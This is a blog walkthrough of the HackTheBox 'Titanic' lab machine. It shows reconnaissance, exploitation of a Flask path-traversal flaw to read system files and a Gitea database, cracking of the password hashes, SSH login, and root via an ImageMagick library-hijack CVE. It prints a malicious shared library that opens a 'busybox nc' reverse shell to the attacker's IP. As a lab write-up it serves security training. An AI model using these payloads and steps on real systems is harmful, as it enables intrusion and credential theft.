Title: Titanic walkthrough
Author: sx02089
Date: February 2025

Titanic

Titanic is an easy rated Linux box on HackTheBox.com. Here's how it went down.

User

Portscanning, bannergrabbing, service enumeration, etc.

As **ALWAYS**, run a port-scan. This is how I usually do that:

```
# nmap -A -n -vv -p- --open -Pn -oA full 10.10.11.55
```

This produces three files, this here below is the (partial) contents of full.nmap:

```
# Nmap 7.95 scan initiated Sun Feb 16 00:16:35 2025 as: /usr/lib/nmap/nmap -A -n -vv -p- --open -Pn -oA full
10.10.11.55
Nmap scan report for 10.10.11.55
Host is up, received user-set (0.027s latency).
[...]
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3t
dB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
[...]
# Nmap done at Sun Feb 16 00:17:15 2025 -- 1 IP address (1 host up) scanned in 40.81 seconds
```

Port 22 and 80. And a redirect to titanic.htb. Good!

Here's a helper script to add a host to /etc/hosts:

```
#!/bin/bash

warn() {
        echo "[!] $@" >&2
        return 0
}

die() {
        warn "$@. Aborted"
        exit 1
}

abortifempty() {
        if [ "x${@}x" = "xx" ]; then
                die "Missing paramter. Use -h for help"
        fi
        return 0
}

HF="/etc/hosts"
IP="$1"
abortifempty "$IP"
shift

if [ "$IP" = "-h" -o "$IP" = "--help" ]; then
        cat <<-___EOF___
        Usage: ./add-host.sh <IP-address> <domainname.tld> [subdomain.domainname.tld ..]
        ___EOF___
        exit 0
fi

SUBDOMAIN=$@
abortifempty "$SUBDOMAIN"

for dname in $SUBDOMAIN
do
        DOMAIN="$(echo $dname | sed 's/^[^\.]*\.//')"
        if [ "x$(echo $DOMAIN | grep '\.')x" = "xx" ]; then
                # dname was actually a domainname
                DOMAIN="$dname"
        fi
        grep -q "^$IP.*$DOMAIN" "$HF" || \
                { echo -e "$IP\t$DOMAIN" >> "$HF"; echo "[+] $IP $DOMAIN added to $HF"; continue; }
        grep -q "$dname" "$HF" || \
                { sed -i "/$DOMAIN/s/$/\t$dname/" "$HF"; echo "[+] $dname added to $HF"; continue; }
done
```

Now you can add a host real quick, like this:

```
# ./add-host.sh 10.10.11.55 titanic.htb
```

If all went well, it should tell you this:

```
[+] 10.10.11.55 titanic.htb added to /etc/hosts
```

There really isn't much to look at on http://titanic.htb, except for a "Book Your Trip" form. Let's keep this in mind, as it might be useful later on.

While were working on port 80, let's dive deeper and scan for virtual hosts.

Scanning for (other) virtual hosts

Remember PermX? Same stuff here. Here's that Ffuf helper script for scanning virtual hosts again:

```
#!/bin/bash

SCRIPT="$(basename $0 | sed 's/\..*$//')"

DOMAIN="$1"
IP="$2"
PROTONAME="${3:-http}"
WL="${4:-/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt}"
THREADS="${5:-20}"

ffuf -w "$WL" -u "${PROTONAME}://${IP}" -H "Host: FUZZ.${DOMAIN}" -mc 200 -v -c -ic -t "${THREADS}" -o
"${SCRIPT}.log"
```

This script can take up to 5 parameters:

1. Domainname (required, no default)
2. IP address (required, no default)
3. Protocol (optional, defaults to http)
4. Full pathname to wordlist (optional, defaults to subdomains-top1million-110000.txt from SecLists)
5. Threads running in parallel (optional, defaults to a mere 20)

Run it like this:

```
$ ./vhostscan.sh titanic.htb 10.10.11.55
```

This almost immediately finds `dev`:

```
       /'___\  /'___\           /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
         \/_/    \/_/   \/___/    \/_/

      v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.55
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Output file      : vhostscan.log
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 20
 :: Matcher          : Response status: 200
________________________________________________

[Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 96ms]
| URL | http://10.10.11.55
    * FUZZ: dev
```

Let’s add that to /etc/hosts:

```
# ./add-host.sh 10.10.11.55 dev.titanic.htb
```

...which should result in:

```
[+] dev.titanic.htb added to /etc/hosts
```

LFI Vulnerability

Surfing to http://dev.titanic.htb brings us to Gitea, and using the “explore” button, you’ll find http://dev.titanic.htb/developer/flask-app/src/branch/main/app.py.

```
[...]
@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)
```

Notice the @app.route statements. This part looks like it handles the form data from http://titanic.htb. Also notice the `/download` route. It handles a single GET parameter `ticket`. There are zero checks or sanitization of that parameter! This looks like a schoolbook example of a Local File Inclusion (LFI) vulnerability. Let's try it!

```
$ curl http://titanic.htb/download?ticket=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[...]
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
```

Voila! A glorious LFI. The most obvious way to exploit a LFI vulnerability is to use it to download sensitive information, such as credentials in any form. Hey! There's a user named "developer" with a home-directory in /home/developer. As it turns out this will give you the user flag:

```
$ curl http://titanic.htb/download?ticket=/home/developer/user.txt
```

Getting a shell

Before taking off on a wild LFI adventure, let's first look at what else there is on http://dev.titanic.htb/. It appears that both MySQL and Gitea are run as docker containers. The docker compose yaml file in http://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml gives a strong hint on where to look for secret information.

```
$ curl http://dev.titanic.htb/developer/docker-config/raw/branch/main/gitea/docker-compose.yml
version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
```

The Gitea directory structure is a bit of a mystery, but google knows all, and from https://docs.gitea.com/administration/config-cheat-sheet we learn a lot! Notice the pathname below `volumes:`, this is important because it will tell you where the gitea configuration file, gitea/conf/app.ini, is located. With that, we should be able to locate the Gitea database, gitea.db, which is of interest, because it holds the credentials of its users.

```
$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
```

```
[...]

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306

[...]
```

Armed with this information, you can now download the gitea database:

```
$ curl --output gitea.db http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
```

The gitea.db is a sqlite3 file, and although it might appear a bit overwhelming at first glance, there's a very good tutorial on how to disect it by 0xdf hacks stuff here: https://0xdf.gitlab.io/2024/12/14/htb-compiled.html

For completion here's the snippet that will translate the relevant part of gitea.db to be used in hashcat:

```
$ sqlite3 gitea.db "select passwd,salt,name from user" | \
    while read data
    do
        digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
        salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
        name=$(echo $data | cut -d'|' -f 3)
        echo "${name}:sha256:50000:${salt}:${digest}"
done | \
    tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHy
YDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6
llM+1Y=
```

Let's run hashcat on that!

```
$ hashcat ./gitea.hashes /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt --user
hashcat (v6.2.6) starting in autodetect mode

[...]

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

[...]

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25
282528
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q
```

Now try `25282528` as the password for ssh as “developer”...

```
$ ssh developer@10.10.11.55
developer@10.10.11.55's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Feb 18 08:13:23 PM UTC 2025

  System load:           0.0
  Usage of /:            67.4% of 6.79GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             229
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.55
  IPv6 address for eth0: dead:beef::250:56ff:fe94:adc8


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

[...]
```

...and there’s our shell!

Root

Let’s try and be authentic for once and this time not run Linpeas straight away. What’s running on the box?

```
developer@titanic:~$ ps fauxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
develop+    5209  0.0  0.1   8768  5732 pts/2    Ss   20:15   0:00 -bash
develop+    5771  0.0  0.0  10044  1608 pts/2    R+   20:30   0:00  \_ ps fauxww
develop+    5086  0.0  0.1   8656  5372 pts/1    Ss+  20:13   0:00 -bash
develop+    1735  0.1  4.1 1402312 164192 ?      Ssl  18:05   0:11 /usr/local/bin/gitea web
develop+    2033  0.0  0.2  17060  9864 ?        Ss   18:13   0:00 /lib/systemd/systemd --user
develop+    1227  0.0  0.7 259540 30216 ?        Ss   18:05   0:01 /usr/bin/python3 /opt/app/app.py
```

That is rather unexpected, this only shows processes of “developer” and nothing else. It does point towards /opt where the flask-app is running.

```
developer@titanic:~$ cd /opt
developer@titanic:/opt$ ls -al
total 20
drwxr-xr-x  5 root root      4096 Feb  7 10:37 .
drwxr-xr-x 19 root root      4096 Feb  7 10:37 ..
drwxr-xr-x  5 root developer 4096 Feb  7 10:37 app
drwx--x--x  4 root root      4096 Feb  7 10:37 containerd
drwxr-xr-x  2 root root      4096 Feb  7 10:37 scripts
developer@titanic:/opt$ cd scripts/
developer@titanic:/opt/scripts$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root 4096 Feb  7 10:37 ..
-rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

As you can see, there's more interesting stuff in /opt. Especially the identify_images.sh script. In /opt/app/static/assets/images are a bunch of jpegs and a the metadata.log logfile:

```
developer@titanic:/opt/scripts$ cd /opt/app/static/assets/images/
developer@titanic:/opt/app/static/assets/images$ ls -al
total 1516
drwxrwx--- 2 root      developer   4096 Feb  3 17:13 .
drwxr-x--- 3 root      developer   4096 Feb  7 10:37 ..
-rw-r----- 1 root      developer 291864 Feb  3 17:13 entertainment.jpg
-rw-r----- 1 root      developer 280854 Feb  3 17:13 exquisite-dining.jpg
-rw-r----- 1 root      developer 209762 Feb  3 17:13 favicon.ico
-rw-r----- 1 developer developer 232842 Feb 18 20:27 foam.jpg
-rw-r----- 1 root      developer 232842 Feb  3 17:13 home.jpg
-rw-r----- 1 root      developer 280817 Feb  3 17:13 luxury-cabins.jpg
-rw-r----- 1 root      developer    545 Feb 18 20:34 metadata.log
```

If you copy a jpeg, you can safely assume that it's root running /opt/scripts/identify_image.sh which ends up using `/usr/bin/magick identify`. It must be root, because that action is logged in the metadata.log file and root is the only one capable of writing to that file:

```
developer@titanic:/opt/app/static/assets/images$ cat metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.000u
0:00.002
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u
0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u
0:00.000
/opt/app/static/assets/images/foam.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
```

Privilege escalation

ImageMagick had some vulnerabilities, which you can find here: https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=ImageMagick&search_type=all&isCpeNameSearch=false

This is the actual version of `magick` on the box:

```
developer@titanic:~$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm
tiff webp x xml zlib
Compiler: gcc (9.4)
```

The most recent is a candidate vulnerability, as it is in practically every version of ImageMagick: https://nvd.nist.gov/vuln/detail/CVE-2024-41817

On that page is a link and this leads to: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

I'm using the `LD_LIBRARY_PATH` vulnerability, documented on the lower part of that page and picking that up

from point 2 onwards. The first one, `MAGICK_CONFIGURE_PATH` should probably work too, but I haven't tested that.

Let's modify the PoC code for a reverse shell. I'm using `busybox nc <ip> <port> -e sh` here, instead of `id`, with my own IP address (Which you can find on your box/vm when connected to hackthebox via openvpn with `ip -o -4 a sh dev tun0`)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("busybox nc 10.10.14.12 1667 -e sh");
    exit(0);
}
```

Simply cut & paste that in, I'm using `vi` here, but `nano` would work just the same:

```
developer@titanic:/opt/app/static/assets/images$ vi m.c
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 ./m.c
```

And on my VM start ncat, aaaaaand..... GAME OVER!

```
$ ncat -lnvp 1667
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1667
Ncat: Listening on 0.0.0.0:1667
Ncat: Connection from 10.10.11.55:33210.
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux titanic 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 GNU/Linux
script -qc /bin/bash /dev/null
root@titanic:/opt/app/static/assets/images# cat /root/root.txt
cat /root/root.txt
4b89a7b74.............17fa9b2c8
```

Epilogue

I enjoyed rooting Titanic! Dev.titanic.htb really tells all about the box, and user was pretty much straight forward (IMO). The LFI in the flask-app was fairly obvious. MySQL was - fortunately - not too much of rabbit-hole. Weak password (or plaintext password) AND password reuse, this time from Gitea to SSH, is a reoccuring theme; it seems there are A LOT of boxes out there that contain this type of vulnerability in some shape or form. Root had me there for a minute as I did not expect the box to have some form of hardening, shielding off processes of other users. Luckily this didn't introduce too much obstacles to find the cronjob/systemd-timer that runs the vulnerable ImageMagick-script from /opt/scripts.

Could this be a box that you could encounter "in the wild"? Pretty close I'd say: Again, port 80 (http) is not so common anymore in favor of 443 (https). But other than the fact that it is hosted on a single box, it's darn close to being real: Insufficient or even untested software in production, Weak Password, Password reuse, outdated/unpatched software... all very realistic. One excellent box!

/sx02089